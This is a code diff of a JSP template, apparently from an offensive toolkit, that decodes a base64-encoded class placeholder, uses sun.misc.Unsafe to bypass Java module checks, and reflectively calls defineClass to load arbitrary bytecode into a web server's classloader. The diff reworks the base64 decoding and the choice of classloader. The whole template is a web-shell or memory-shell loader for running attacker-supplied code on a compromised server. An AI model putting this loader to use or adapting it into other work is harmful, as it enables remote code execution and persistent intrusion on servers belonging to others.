|
1 | | -<%@ page import="java.lang.*" %> |
2 | | -<%@ page import="java.lang.Class" %> |
3 | | -<%@ page import="java.lang.ClassLoader" %> |
4 | | -<%@ page import="java.lang.ClassNotFoundException" %> |
5 | | -<%@ page import="java.lang.Integer" %> |
6 | | -<%@ page import="java.lang.Long" %> |
7 | | -<%@ page import="java.lang.Object" %> |
8 | | -<%@ page import="java.lang.String" %> |
9 | | -<%@ page import="java.lang.Thread" %> |
10 | | -<%@ page import="java.lang.Throwable" %> |
11 | 1 | <% |
12 | | - String base64Str = "{{base64Str}}"; |
13 | | - byte[] bytecode = null; |
14 | | - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); |
15 | | - try { |
16 | | - Class base64Clz = classLoader.loadClass("java.util.Base64"); |
17 | | - Object decoder = base64Clz.getMethod("getDecoder").invoke(null); |
18 | | - bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); |
19 | | - } catch (ClassNotFoundException ee) { |
20 | | - Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); |
21 | | - bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str); |
22 | | - } |
23 | 2 | Object unsafe = null; |
24 | 3 | Object rawModule = null; |
25 | 4 | long offset = 48; |
|
37 | 16 | getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module); |
38 | 17 | } catch (Throwable ignored) { |
39 | 18 | } |
40 | | - java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader()); |
| 19 | + String base64Str = "{{base64Str}}"; |
| 20 | + byte[] bytecode = null; |
| 21 | + try { |
| 22 | + bytecode = java.util.Base64.getDecoder().decode(base64Str); |
| 23 | + } catch (Throwable ee) { |
| 24 | + bytecode = new sun.misc.BASE64Decoder().decodeBuffer(base64Str); |
| 25 | + } |
41 | 26 | java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); |
42 | 27 | defMethod.setAccessible(true); |
43 | | - Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, bytecode, 0, bytecode.length); |
| 28 | + Class<?> clazz = (Class<?>) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length); |
44 | 29 | if (getAndSetObjectM != null) { |
45 | 30 | getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule); |
46 | 31 | } |
|
0 commit comments